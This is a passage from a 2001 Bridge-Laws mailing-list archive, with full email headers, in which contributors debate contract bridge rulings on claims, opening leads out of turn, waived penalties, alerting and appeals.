thread, there seems to have been an idea that I meant this as referring to anyone who disagreed with me. I find this notion completely incredible, but if people are believing this, then I have to set the record straight. Apart from the minority of people I have mentioned, there are a large number of people who post to this list that I have no personal problems with and I believe they, like me, are interested in the future of the game. Some of them agree with my views on Claims, some do not. So? So nothing. I have been trying to convince people that they are wrong, but not by likening them to the minority I despise. However, if people think I am likening them to that minority, I apologise. I am surprised, but every so often people take a different view of what I mean from what I thought I had expressed. The situation as far as I am concerned is that it has been shown that the statement "Damn, I am going to make twelve tricks here" even when not intended as a claim is a claim in the letter of the Law. It is also true that I do not believe that most people would think so. It is also true that I do not think that it is good for the game to treat it that way. But I have no problem with people who think we have to rule that way. I really would like to persuade them otherwise, but I do not have any personal problems with that. Why should I? So any connection between 'People who prefer to score brownie points on this list' and 'People who disagree with my view on claims' was and is unintentional. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 15:19:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U4J0C17071 for bridge-laws-outgoing; Tue, 30 Jan 2001 15:19:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta02-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U4Ist17048 for ; Tue, 30 Jan 2001 15:18:54 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta02-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license 85b07e7cd9378159aa6ecc9a5634d971) with SMTP id <20010130041405.SXHO28877.amsmta02-svc@witz> for ; Tue, 30 Jan 2001 05:14:05 +0100 Message-Id: <3.0.2.32.20010130051857.0101b468@pop3.norton.antivirus> X-Sender: a.witzen/mail.chello.nl@pop3.norton.antivirus X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Tue, 30 Jan 2001 05:18:57 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Claim? In-Reply-To: References: <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> <005c01c087cf$347c1120$9a9c1e18@san.rr.com> <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 07:34 PM 29-01-01 -0500, you wrote: >David Stevenson writes: > >>Experience shows that if you do all this, then players finish up with >>no idea what you are talking about - and now you have to go through it >>again! Accordingly it was decided many years ago that TDs should be >>taught to quote the OLOOT, but read everything else. > >Larry Harris (among others) has produced some aids for TDs. One is >the book "Bridge Director's Companion," another is "Bridge Director's >Quick Reference Guide". This is a small (8x5 inches) pamphlet with, >among other things, some simple charts for various laws. There is a >full page diagram which lays out what's supposed to happen, and on >the back inside cover there's a "quick 'n dirty" that looks like this: i miss the standard question that all TDs should ask before explaining: Who told you to lead????? Even international TD's sometimes do this wrong :) regards, anton > |-- Option > | 1. Declarer becomes dummy. >Accept | > | 2. Declarer remains declarer. > |-- > | 3. Require OP* to lead suit.** >Don't | 4. Prohibit OP from leading suit.** >Accept | 5. Remain a PC. Lead Anything. > |-- > * OP is offender's partner. > ** Restore to hand. > >Provided one has the Law Book handy in case elucidation is needed, >and provided one ensures these charts are accurate before using them, >this seems to me a good way to go. I know that at least one TD around >here has the latest Bridge Director's Companion, but I've never seen >him use it (or any other aid to his memory, including TFLB) when >giving a ruling. Does *any* TD here find these things useful? > >Regards, > >Ed > >mailto:ereppert@rochester.rr.com >pgp public key available at ldap://certserver.pgp.com or >http://pgpkeys.mit.edu:11371 >pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 17:21:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U6K6G26211 for bridge-laws-outgoing; Tue, 30 Jan 2001 17:20:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U6Jxt26207 for ; Tue, 30 Jan 2001 17:20:00 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 29 Jan 2001 22:16:42 -0800 Message-ID: <014201c08a84$a148e8c0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <005c01c087cf$347c1120$9a9c1e18@san.rr.com> <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> Subject: Re: [BLML] Claim? Date: Mon, 29 Jan 2001 22:19:35 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote:> > > The problem with the actual wording of L54 is that it says: > > "When an opening lead is faced out of turn, and offender's partner leads > face down, the Director requires the face down lead to be retracted, and > the following sections apply." > > So this Law refers to an OLOOT _and_ offender's partner leading face- > down, and theoretically should not apply if offender's partner does not > lead. It is an acceptable world-wide interpretation that it applies to > all OLOOTS. Yes, an obvious goof. L54. When an opening lead is faced out of turn, the Director requires any face-down lead by the offender's partner to be retracted, and the following sections apply. Not rocket science. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 17:55:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U6sqU26333 for bridge-laws-outgoing; Tue, 30 Jan 2001 17:54:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U6sZt26329 for ; Tue, 30 Jan 2001 17:54:36 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0U6sQ715441 for bridge-laws@rgb.anu.edu.au; Tue, 30 Jan 2001 06:54:27 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Tue, 30 Jan 2001 06:54 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Cap Gemini shows the way To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <00fd01c08a34$b6222f40$8fb4f1c3@kooijman> Ton wrote: > > I agree completely. But others in this list, including [as I read > >his post] Grattan, seem to be saying that if the waiver could have an > >effect on other pairs the TD must not grant the waiver. > > With which I agree completely. And the world seems to be becoming increasingly bizarre. OK the laws may not yet recognise that a penalty card may be waived without calling the TD. However custom and practice are, IMO, firmly established and definitely permit such a waiver. If a TD is called and decides not to permit the waiver it is still possible in 99% of situations to ensure that one does not profit from the penalty card. Why then try to override the wishes of the players involved if it sours the atmosphere of the game. And if we want to be literal about it - at the time of "pick it up, it doesn't matter" there is no "penalty" to be waived. There cannot be a penalty *until* the TD has ruled so a player is merely waiving the right to a possible penalty. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 18:22:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U7MMk26448 for bridge-laws-outgoing; Tue, 30 Jan 2001 18:22:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U7MEt26444 for ; Tue, 30 Jan 2001 18:22:15 +1100 (EST) Received: from dodona (host62-6-86-112.dialup.lineone.co.uk [62.6.86.112]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id HAA20369; Tue, 30 Jan 2001 07:21:46 GMT Message-ID: <000b01c08a8d$a0d96f00$7056063e@dodona> From: "Grattan Endicott" To: , References: <200101292243.RAA16802@calum.csclub.uwaterloo.ca> Subject: Re: [BLML] L10 Suggestion Date: Tue, 30 Jan 2001 07:12:27 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Speak when you are angry - and you'll make the best speech you'll ever regret." [L.J. Peter] <=====> ----- Original Message ----- From: Michael Farebrother To: Sent: Monday, January 29, 2001 10:43 PM Subject: [BLML] L10 Suggestion > > I've been reading L10 again, because of our discussions centering on > L81C8. In particular, someone mentioned that it would be better if a > player's right were defined somewhere other than the section labelled > "Tournament Director". > > L10A: The Director alone has the right to assess penalties when > applicable. Players do not have the right to assess (or waive) > penalties on their own initiative. > > Note the parenthetical (or waive). It seems, without context, to make > no sense, because nothing in the rest of the statement talks about > waiving penalties, nor is there any statement anywhere near L10A that > discusses the fact that anybody has the right to waive penalties at all. > > Now, we all know that this is a reference to L81C8, but we RTFLB Too F > Often For Our Own Good. Why not make it explicit? > > L10A Right to Assess or Waive Penalty > > The Director alone has the right to assess penalties when applicable. > Players do not have the right to assess penalties on their own > initiative, nor do the right to waive them (but they may request that > the Director do so, see L81C8). > > Just a thought. > > Michael. > -- +=+ "10A. Players shall not assess or waive penalties without reference to the Director. They may request the Director to waive a penalty (see Laws 81C7&8)." > Excuse me if I have left the above at length. It is so that I may print it out for circulation to the drafting sub-committee. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 18:55:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U7tex04243 for bridge-laws-outgoing; Tue, 30 Jan 2001 18:55:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mta1-rme.xtra.co.nz (mta1-rme.xtra.co.nz [203.96.92.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U7tVt04203 for ; Tue, 30 Jan 2001 18:55:31 +1100 (EST) Received: from [203.96.92.2] ([203.96.92.9]) by mta1-rme.xtra.co.nz with SMTP id <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> for ; Tue, 30 Jan 2001 20:55:27 +1300 X-Priority: Sensitivity: Company-Confidential From: Wayne Burrows Reply-To: wayne.burrows@xtra.co.nz To: bridge-laws@rgb.anu.edu.au Subject: [BLML] Alert or Not Date: Tue, 30 Jan 2001 19:55:25 +1200 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Message-Id: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92.2]> Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk How do you see the law/ethics of alerting your partner's conventional responses to your unalerted conventional bids? Wayne Burrows 10 Glen Place Palmerston North Ph 64 6 355 1259 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 19:33:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U8X4m14971 for bridge-laws-outgoing; Tue, 30 Jan 2001 19:33:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stargate.agro.nl (cpc.agro.nl [145.12.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U8Wvt14967 for ; Tue, 30 Jan 2001 19:32:58 +1100 (EST) Received: by stargate.agro.nl; (8.8.8/1.3/10May95) id JAA32506; Tue, 30 Jan 2001 09:32:53 +0100 (MET) Received: FROM mgate.nic.agro.nl BY agro009s.nic.agro.nl ; Tue Jan 30 09:35:47 2001 +0100 Received: from agro005s.nic.agro.nl (agro005s.nic.agro.nl [145.12.5.35]) by AGRO.NL (PMDF V6.0-24 #46444) with ESMTP id <01JZIHYKMO02002QFD@AGRO.NL>; Tue, 30 Jan 2001 09:31:55 +0200 Received: by agro005s.nic.agro.nl with Internet Mail Service (5.5.2650.21) id ; Tue, 30 Jan 2001 09:27:19 +0100 Content-return: allowed Date: Tue, 30 Jan 2001 09:31:52 +0100 From: "Kooijman, A." Subject: RE: [BLML] Claim? To: "'David Stevenson'" , bridge-laws@rgb.anu.edu.au Message-id: <67378DEA146DD21194C20000F87B08BA01B8B79C@fdwag002s.fd.agro.nl> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset=iso-8859-1 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David S: The situation as far as I am concerned is that it has been > shown that > the statement "Damn, I am going to make twelve tricks here" even when > not intended as a claim is a claim in the letter of the Law. > It is also > true that I do not believe that most people would think so. > It is also > true that I do not think that it is good for the game to treat it that > way. > > But I have no problem with people who think we have to rule > that way. > I really would like to persuade them otherwise, but I do not have any > personal problems with that. Why should I? My feeling in this case is similar to David's. Yes, if an opponent insists I have to deal with it as a claim, but if Chemla had said so (damn, I am going to make 12 tricks here) and I had been near the table, watching a smile on Zia's face replying: 'we make it 11', after which the 30 kibitzers at the table started laughing and play continued, I would have asked them to restrict there conversation to the most necessary statements, but never would have interfered in the play by starting treating this as a claim (so 81C4 but not 81C6). This leads to a suggestion for the drafting sub-committee (is that what it is?): for a claim there should be an intention to curtail the play. And discussing this I have another one. In the claim between England and Belgium in the Olympiad somebody claimed on a double squeeze and wasn't able to exercise this squeeze when play continued. He got his tricks. I don't like that decision, not because the laws were not followed ( ? did the TD consider to use 70E being convinced that saying 'double squeeze'consists of just unstated lines of play?), but because the laws should not have allowed it. Suggestion: the line of play of the remaining tricks should not depend on specific cards to be played by the opponents, unless clarified in detail by the claimer. (For the moment I leave a more precise description to others, hoping that my intention is clear) ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 20:37:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U9aGd16610 for bridge-laws-outgoing; Tue, 30 Jan 2001 20:36:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U9a8t16606 for ; Tue, 30 Jan 2001 20:36:09 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id KAA21805; Tue, 30 Jan 2001 10:32:01 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id KAA05375; Tue, 30 Jan 2001 10:35:52 +0100 (MET) for Message-Id: <3.0.6.32.20010130103739.0083e100@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 30 Jan 2001 10:37:39 +0100 To: wayne.burrows@xtra.co.nz, bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Alert or Not In-Reply-To: <20010130075527.TYJO14147057.mta1-rme.xtra.co.nz@[203.96.92 .2]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 19:55 30/01/01 +1200, Wayne Burrows wrote: >How do you see the law/ethics of alerting your partner's conventional responses to your unalerted conventional bids? AG : I am not allowed to know he didn't alert. I do alert, and I know it could illegally awaken him. In this case I pay the price. But it is far more frequent that partner forgot to alert than that he forgot the system (at least my partners). Thus I'd like not to worsen it by not alerting myself. By the way, suppose he did alert and you didn't notice it. Now, by not alerting, you're creating the incorrection. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 20:43:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U9h6d16674 for bridge-laws-outgoing; Tue, 30 Jan 2001 20:43:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U9gwt16670 for ; Tue, 30 Jan 2001 20:42:59 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id KAA07275; Tue, 30 Jan 2001 10:40:13 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id KAA10833; Tue, 30 Jan 2001 10:42:41 +0100 (MET) for Message-Id: <3.0.6.32.20010130104429.008431a0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 30 Jan 2001 10:44:29 +0100 To: blml@farebrother.cx, bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] WBF Systems Policy In-Reply-To: <200101291941.OAA12099@calum.csclub.uwaterloo.ca> References: <045a01c088ce$ad7154a0$9d391dc2@rabbit> <3.0.6.32.20010126112317.00838c00@pop.ulb.ac.be> <002a01c087cc$63187800$9a9c1e18@san.rr.com> <045a01c088ce$ad7154a0$9d391dc2@rabbit> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 14:41 29/01/01 -0500, Michael Farebrother wrote: > >>Even 2C = either 11-15 6+ clubs, or 4+ hearts, 0-7 >>HCP would not be brown sticker, as 11-15 isn't weak. >> >But it isn't strong, either. Any non-heart bid must be at least a King >above average strength - and I'm not sure 11HCP and 6+ clubs counts. So, >this *is* brown sticker. AG : I've tried to play 2C = 11-13, 6 clubs or 3-7, 6 hearts (and 2D alike, D or S). This was classified as BSC, so we changed it to 14-16 or 3-7 and this was allowed. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 20:46:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U9k9016706 for bridge-laws-outgoing; Tue, 30 Jan 2001 20:46:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.ihug.co.nz (root@smtp1.ihug.co.nz [203.109.252.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U9k2t16701 for ; Tue, 30 Jan 2001 20:46:02 +1100 (EST) Received: from julie (p930-apx1.akl.ihug.co.nz [203.173.195.168]) by smtp1.ihug.co.nz (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id WAA19850 for ; Tue, 30 Jan 2001 22:45:51 +1300 X-Authentication-Warning: smtp1.ihug.co.nz: Host p930-apx1.akl.ihug.co.nz [203.173.195.168] claimed to be julie Message-ID: <001001c08aa0$eb0752a0$a8c3adcb@ihug.co.nz> From: "Julie Atkinson" To: "BLML" Subject: [BLML] Claim or concession or ?? Date: Tue, 30 Jan 2001 22:42:04 +1300 Organization: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000B_01C08B0D.DE7F6320" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C08B0D.DE7F6320 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Playing the summer festival at Canberra last week when we had an = interesting situation. The equitable result on the board was 5S 1 light. There was no dispute = regarding this from either side of the table. Facts: Facts were disputed with the defenders claiming Declarer had = claimed and with Declarer claiming the Defenders had conceded. A = Defender (myself) had declined to give partner a ruff to take the = contract one light on the basis that Declarer could not discard all of = the losing suit(diamonds). Part way through the play of the hand a = kibbitzer from an adjacent table leant across to get a board to play at = the next table. (Teams match, sharing 20 boards amongst 6 tables, the = next table being very quick). Declarer and I lost the plot somewhat, and = when the claim/concession occurred the contract was allowed as making. = Despite being considered a "good" player if anyone has listened to my = post mortems they would understand my confusion. RULING: The Directing staff completely avoided the claim/concession = issue and ruled under change to score.. Law 79B and split the score to = the most unfavourable to each side. APPEAL: The appeals committee changed the score to "equity " under Law = 12C. I found this an interesting appeal in that we appealed under the change = of wording between 1987 wording to 1997 wording in this law. I am interested in comments, but thought this was an excellent ruling by = the Directing staff. ------=_NextPart_000_000B_01C08B0D.DE7F6320 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Playing the summer festival at Canberra = last week=20 when we had an interesting situation.
 
The equitable result on the board was = 5S 1 light.=20 There was no dispute regarding this from either side of the = table.
 
Facts: Facts were disputed with the = defenders=20 claiming Declarer had claimed and with Declarer claiming the Defenders = had=20 conceded. A Defender (myself) had declined to give partner a ruff to = take the=20 contract one light on the basis that Declarer could not discard all of = the=20 losing suit(diamonds). Part way through the play of the hand a kibbitzer = from an=20 adjacent table leant across to get a board to play at the next table. = (Teams=20 match, sharing 20 boards amongst 6 tables, the next table being very = quick).=20 Declarer and I lost the plot somewhat, and when the claim/concession = occurred=20 the contract was allowed as making. Despite being considered a "good" = player if=20 anyone has listened to my post mortems they would understand my=20 confusion.
 
RULING: The Directing staff completely = avoided the=20 claim/concession issue and ruled under change to score.. Law 79B and = split the=20 score to the most unfavourable to each side.
 
APPEAL: The appeals committee changed = the score to=20 "equity " under Law 12C.
 
I found this an interesting appeal in = that we=20 appealed under the change of wording between 1987 wording to 1997 = wording in=20 this law.
 
I am interested in comments, but = thought this was=20 an excellent ruling by the Directing staff.
 
 
 
 
 
------=_NextPart_000_000B_01C08B0D.DE7F6320-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 20:48:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0U9mkZ16729 for bridge-laws-outgoing; Tue, 30 Jan 2001 20:48:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0U9mYt16725 for ; Tue, 30 Jan 2001 20:48:35 +1100 (EST) Received: from dodona (host62-6-83-191.dialup.lineone.co.uk [62.6.83.191]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id JAA26257 for ; Tue, 30 Jan 2001 09:48:05 GMT Message-ID: <001b01c08aa2$11e92140$bf53063e@dodona> From: "Grattan Endicott" To: References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> <008e01c08a24$d91a2940$9a9c1e18@san.rr.com> Subject: Re: [BLML] Cincinnati NABC Appeal 36 Date: Tue, 30 Jan 2001 09:49:23 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Speak when you are angry - and you'll make the best speech you'll ever regret." [L.J. Peter] <=====> ----- Original Message ----- From: Marvin L. French To: Sent: Monday, January 29, 2001 6:44 PM Subject: Re: [BLML] Cincinnati NABC Appeal 36 > > Grattan and DWS were casebook commentators on the Cincinnati > appeals. David doubted that the AC decision was legal, without > saying why, while Grattan considered the E/W adjustment to be > "harsh," doubting that South would have doubled if 3H had been > Alerted. I hope both see fit to make further comments on BLML. > Neither explicitly address the points I am interested in, which are > (1) whether a pair can be denied redress because they weren't sharp > enough to call the TD at the proper time and (2) whether the "proper > time" is at the time an infraction should be known or when attention > has been drawn to it. > +=+ (1) Redress for damage is not denied because a player does not summon the Director as soon as he might. However, the player may have lost some credibility. (2) When attention drawn. But this South had opportunities to ask a question before his opening lead, and again at his turn after seeing dummy. He did not. Fair enough, but it causes me to believe that he arrived late at the conclusion he would like to have doubled. If at all experienced this South would have no redress at my hands; I would impose a penalty on the OS for the failure to alert. If North were to argue that he might have protected with 3C I would find more to look at in the case. His final pass, if he enquired and then called the Director, is not irretrievable prior to the facing of the opening lead. Another reason for having opening leads made face down. (3) I agree with Adam that players consulted should be concerned only with bridge judgements; not with law, and not with a side's methods other than to be instructed what they are for the basis of their bridge judgements. (Having made a judgement on that basis, they can add a rider as to any scepticism they feel.) (4) As commentator I am not bound by the AC's view of what actions are likely. Here I think the double for a minor suit with only three in one of them is less than likely. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 21:55:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0UAsiU01630 for bridge-laws-outgoing; Tue, 30 Jan 2001 21:54:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0UAsKt01619 for ; Tue, 30 Jan 2001 21:54:21 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id LAA10831; Tue, 30 Jan 2001 11:51:36 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id LAA08538; Tue, 30 Jan 2001 11:54:04 +0100 (MET) for Message-Id: <3.0.6.32.20010130115552.0083b7d0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 30 Jan 2001 11:55:52 +0100 To: "Grattan Endicott" , From: alain gottcheiner Subject: Re: [BLML] Cincinnati NABC Appeal 36 In-Reply-To: <001b01c08aa2$11e92140$bf53063e@dodona> References: 